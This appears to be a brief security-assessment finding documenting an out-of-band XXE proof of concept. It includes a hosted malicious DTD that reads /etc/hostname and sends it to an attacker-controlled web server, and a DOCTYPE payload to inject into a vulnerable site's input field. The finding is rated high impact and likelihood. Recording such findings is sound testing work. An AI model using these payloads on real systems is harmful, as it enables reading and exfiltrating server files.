V5 - Validation/Sanitization

OOB (Out of Band) XXE

POC

Create a payload.dtd file with the following content and host it on your server.

<!ENTITY % file SYSTEM "file:///etc/hostname"><!ENTITY % eval "<!ENTITY &#x25; exfil SYSTEM 'http://<WebserverIP>/?x=%file;'>">%eval;

In the vulnerable website, add the following to the input area:

<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "http://<myipaddress>/payload.dtd"> %xxe;]>

Then check the web server access logs. Firstly, the XML parser will load the dtd file and then it will leak the hostname to the attacker:

Impact

High

Likelihood

High